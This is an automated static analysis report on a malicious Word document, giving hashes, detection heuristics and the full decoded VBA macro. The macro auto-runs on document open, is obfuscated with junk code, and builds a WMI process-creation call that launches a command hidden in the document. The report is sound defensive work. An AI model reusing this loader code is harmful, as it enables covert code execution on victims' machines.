Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b13430afe18aa74…

MALICIOUS

Office (OLE)

139.5 KB Created: 2021-01-25 08:47:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 3d57b2804b56d56c16818ed31bcb28fa SHA-1: 050d4f4c41053d995479c03fb89151562613fe47 SHA-256: 5b13430afe18aa74538deb50a1ed897a354602da03cde975492ec12648a4dc72
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-10034158-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10034158-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Ixvxtuve66zxo = VBA.GetObject(Eqhw188dzwgnq)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8459 bytes
SHA-256: 464ee3baa3fefa153b2db059b50fc0b5f7ab283122dc843cd170391807f2939c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
91 of 153 identifiers look randomly generated (e.g. 'Dt5ebejo9lypr_3vmp'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "U765y5vgf_ao0faq"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_open()
Xusmagx95iuck_o3o
End Sub

Attribute VB_Name = "Ht_h_pv5qq7taeoe3a"
          

Attribute VB_Name = "Gp0t5ucwnkng7fi"
Function Xusmagx95iuck_o3o()
   GoTo snBUla
    Const AjzpdH As String = "A"
    Const jbkkjHHCd As String = ","
    Const yqmFHJvF As String = "*high*,*critic*"
    Dim FwMLnnSxs As Range: Set FwMLnnSxs = Array((AjzpdH), Target)
    If FwMLnnSxs Is Nothing Then
    End If
    Dim rnfVw() As String: rnfVw = Split(yqmFHJvF, jbkkjHHCd)
snBUla:
skuwd = Nkemmqfhxex + U765y5vgf_ao0faq _
. _
Content + Dt5ebejo9lypr_3vmp
   GoTo uUNTnPDJ
    Const wPuUI As String = "A"
    Const QNBiBDJF As String = ","
    Const TfZstIBWb As String = "*high*,*critic*"
    Dim GyemVIEQ As Range: Set GyemVIEQ = Array((wPuUI), Target)
    If GyemVIEQ Is Nothing Then
    End If
    Dim kTIuCnPI() As String: kTIuCnPI = Split(TfZstIBWb, QNBiBDJF)
uUNTnPDJ:
mjbBYHhbs = "ns wu db " + "ndpns wu db nd"
I8bgyvyef5pdaj7_v = "ns wu db ndrons wu db ndns wu db ndc" + "ens wu db ndsns wu db ndsns wu db ndns wu db nd"
   GoTo dtPsGEOG
    Const mQUInscCB As String = "A"
    Const PmHbFtBA As String = ","
    Const NxyDdD As String = "*high*,*critic*"
    Dim ENgVDEnDI As Range: Set ENgVDEnDI = Array((mQUInscCB), Target)
    If ENgVDEnDI Is Nothing Then
    End If
    Dim TmgVHr() As String: TmgVHr = Split(NxyDdD, PmHbFtBA)
dtPsGEOG:
A3hie1o1mwdgk_9_ = "ns wu db nd:wns wu db ndns w" + "u db ndinns wu db nd3ns wu db nd2ns wu db nd_ns wu db nd"
   GoTo bwTdFGH
    Const ZcbWFy As String = "A"
    Const jmprxcAGG As String = ","
    Const uwcdCFcFJ As String = "*high*,*critic*"
    Dim GhFhH As Range: Set GhFhH = Array((ZcbWFy), Target)
    If GhFhH Is Nothing Then
    End If
    Dim auKzIlBI() As String: auKzIlBI = Split(uwcdCFcFJ, jmprxcAGG)
bwTdFGH:
Bn1mqobqcygrsk1zn = "wns wu db ndi" + "nns wu db ndmns wu db ndgmns wu db ndtns wu db ndns wu db nd"
   GoTo FCnAjUBF
    Const upIoDlhH As String = "A"
    Const BZLGJ As String = ","
    Const DpdIEHHc As String = "*high*,*critic*"
    Dim yifdCzUX As Range: Set yifdCzUX = Array((upIoDlhH), Target)
    If yifdCzUX Is Nothing Then
    End If
    Dim vmuBOT() As String: vmuBOT = Split(DpdIEHHc, BZLGJ)
FCnAjUBF:
Acbncig4c2s9p = "ns wu db ndns wu db nd" + Mid(Application.Name, 60 / 10, 1) + "ns wu db ndns wu db nd"
   GoTo dmJpUJBT
    Const LFmsHlGJO As String = "A"
    Const VlJBAxsF As String = ","
    Const DReLBGD As String = "*high*,*critic*"
    Dim IUtVX As Range: Set IUtVX = Array((LFmsHlGJO), Target)
    If IUtVX Is Nothing Then
    End If
    Dim LgSUu() As String: LgSUu = Split(DReLBGD, VlJBAxsF)
dmJpUJBT:
C4s8ozri2fdnbsu4 = Bn1mqobqcygrsk1zn + Acbncig4c2s9p + A3hie1o1mwdgk_9_ + mjbBYHhbs + I8bgyvyef5pdaj7_v
   GoTo cskzymBH
    Const QttEc As String = "A"
    Const sInuFuLII As String = ","
    Const ybkwIF As String = "*high*,*critic*"
    Dim YYiqHCrBJ As Range: Set YYiqHCrBJ = Array((QttEc), Target)
    If YYiqHCrBJ Is Nothing Then
    End If
    Dim jEGWECK() As String: jEGWECK = Split(ybkwIF, sInuFuLII)
cskzymBH:
Eqhw188dzwgnq = Zr9iedzfw6nr(C4s8ozri2fdnbsu4)
   GoTo GKCGI
    Const JNPIBwzJy As String = "A"
    Const xJhvfW As String = ","
    Const MtSXGFAwF As String = "*high*,*critic*"
    Dim CtnVB As Range: Set CtnVB = Array((JNPIBwzJy), Target)
    If CtnVB Is Nothing Then
    End If
    Dim QFCSIz() As String: QFCSIz = Split(MtSXGFAwF, xJhvfW)
GKCGI:
Set Ixvxtuve66zxo = VBA.GetObject(Eqhw188dzwgnq)
   GoTo OQtflfHc
    Const vXvXQH As String = "A"
    Const BBnudDV As String = ","
    Const AnoeDGEY As String = "*high*,*critic*"
    Dim nUxeKfi As Range: Set nUxeKfi = Array((vXvXQH), Target)
    If nUxeKfi Is Nothing Then
    End If
    Dim LJgRGnI() As String: LJgRGnI = Split(AnoeDGEY, BBnudDV)
OQtflfHc:
mxkikw = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
pqwm = Zr9iedzfw6nr(mxkikw)
   GoTo zImEIFI
    Const TYMfJE As String = "A"
    Const ppqanE As String = ","
    Const zzXfBb As String = "*high*,*critic*"
    Dim YXgZLBuTI As Range: Set YXgZLBuTI = Array((TYMfJE), Target)
    If YXgZLBuTI Is Nothing Then
    End If
    Dim qJJnPFoNQ() As String: qJJnPFoNQ = Split(zzXfBb, ppqanE)
zImEIFI:
Ixvxtuve66zxo.Create pqwm, S2xsub800b7, Tl85j6j2gy2n7qad
   GoTo LcJWChpF
    Const uFHXMGsDH As String = "A"
    Const wbcoCJA As String = ","
    Const UupSwG As String = "*high*,*critic*"
    Dim IfvyDH As Range: Set IfvyDH = Array((uFHXMGsDH), Target)
    If IfvyDH Is Nothing Then
    End If
    Dim HfUXFJwF() As String: HfUXFJwF = Split(UupSwG, wbcoCJA)
LcJWChpF:
End Function
Function Zr9iedzfw6nr(Pdkbu8b4a_ucmmy2)
On Error Resume Next
   GoTo XDCYoHErU
    Const OtpOArK As String = "A"
    Const mbLvUI As String = ","
    Const iJkmJG As String = "*high*,*critic*"
    Dim uHhldyVW As Range: Set uHhldyVW = Array((OtpOArK), Target)
    If uHhldyVW Is Nothing Then
    End If
    Dim OAFQFBEFa() As String: OAFQFBEFa = Split(iJkmJG, mbLvUI)
XDCYoHErU:
N21io7rxzal10t = Pdkbu8b4a_ucmmy2
   GoTo PDgjIDCIF
    Const vQbVHTJ As String = "A"
    Const SRadpEcF As String = ","
    Const mbdQXnNAJ As String = "*high*,*critic*"
    Dim ZhuxR As Range: Set ZhuxR = Array((vQbVHTJ), Target)
    If ZhuxR Is Nothing Then
    End If
    Dim xcFaA() As String: xcFaA = Split(mbdQXnNAJ, SRadpEcF)
PDgjIDCIF:
L4jc0swehya = Sotm_c8dqxel(N21io7rxzal10t)
   GoTo zPYsAGBC
    Const gPxXF As String = "A"
    Const vMqQFsCmr As String = ","
    Const IcBqyoTE As String = "*high*,*critic*"
    Dim UTUqCwyI As Range: Set UTUqCwyI = Array((gPxXF), Target)
    If UTUqCwyI Is Nothing Then
    End If
    Dim MNzdmO() As String: MNzdmO = Split(IcBqyoTE, vMqQFsCmr)
zPYsAGBC:
Zr9iedzfw6nr = L4jc0swehya
   GoTo mFRDA
    Const huzCVaAnM As String = "A"
    Const nmoAspl As String = ","
    Const AEpDpJGH As String = "*high*,*critic*"
    Dim EZSQT As Range: Set EZSQT = Array((huzCVaAnM), Target)
    If EZSQT Is Nothing Then
    End If
    Dim aEMwHJJ() As String: aEMwHJJ = Split(AEpDpJGH, nmoAspl)
mFRDA:
End Function
Function Sotm_c8dqxel(Tw8vu7dybjhd)
   GoTo eRlxboGG
    Const UrnhFG As String = "A"
    Const AeZXCL As String = ","
    Const LYEtDJDB As String = "*high*,*critic*"
    Dim MvCNCxeRC As Range: Set MvCNCxeRC = Array((UrnhFG), Target)
    If MvCNCxeRC Is Nothing Then
    End If
    Dim jqLUKf() As String: jqLUKf = Split(LYEtDJDB, AeZXCL)
eRlxboGG:
   GoTo DJesE
    Const bTSPCh As String = "A"
    Const eJIkEagfC As String = ","
    Const XfKDE As String = "*high*,*critic*"
    Dim eFfcEAI As Range: Set eFfcEAI = Array((bTSPCh), Target)
    If eFfcEAI Is Nothing Then
    End If
    Dim jKGrEhAE() As String: jKGrEhAE = Split(XfKDE, eJIkEagfC)
DJesE:
   GoTo xdoxB
    Const rlKxF As String = "A"
    Const TziQbRH As String = ","
    Const VVDiBADws As String = "*high*,*critic*"
    Dim nQutDRr As Range: Set nQutDRr = Array((rlKxF), Target)
    If nQutDRr Is Nothing Then
    End If
    Dim rQMlbCDj() As String: rQMlbCDj = Split(VVDiBADws, TziQbRH)
xdoxB:
Sotm_c8dqxel = Replace(Tw8vu7dybjhd, "ns w" + "u db nd", He0e1df114_gsl7i)
   GoTo VZXgAzj
    Const rwAdJC As String = "A"
    Const HzpNhFB As String = ","
    Const buaHCHyIN As String = "*high*,*critic*"
    Dim KJKIF As Range: Set KJKIF = Array((rwAdJC), Target)
    If KJKIF Is Nothing Then
    End If
    Dim xMeNBMA() As String: xMeNBMA = Split(buaHCHyIN, HzpNhFB)
VZXgAzj:
   GoTo XxDunFI
    Const SdueDATuJ As String = "A"
    Const wAZjcaDbE As String = ","
    Const TQutDNlhF As String = "*high*,*critic*"
    Dim ZtlVi As Range: Set ZtlVi = Array((SdueDATuJ), Target)
    If ZtlVi Is Nothing Then
    End If
    Dim yVlwI() As String: yVlwI = Split(TQutDNlhF, wAZjcaDbE)
XxDunFI:
   GoTo cCNkM
    Const SOBiDVBG As String = "A"
    Const uQDVbE As String = ","
    Const LXmiCH As String = "*high*,*critic*"
    Dim zgEErH As Range: Set zgEErH = Array((SOBiDVBG), Target)
    If zgEErH Is Nothing Then
    End If
    Dim KDRcGw() As String: KDRcGw = Split(LXmiCH, uQDVbE)
cCNkM:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.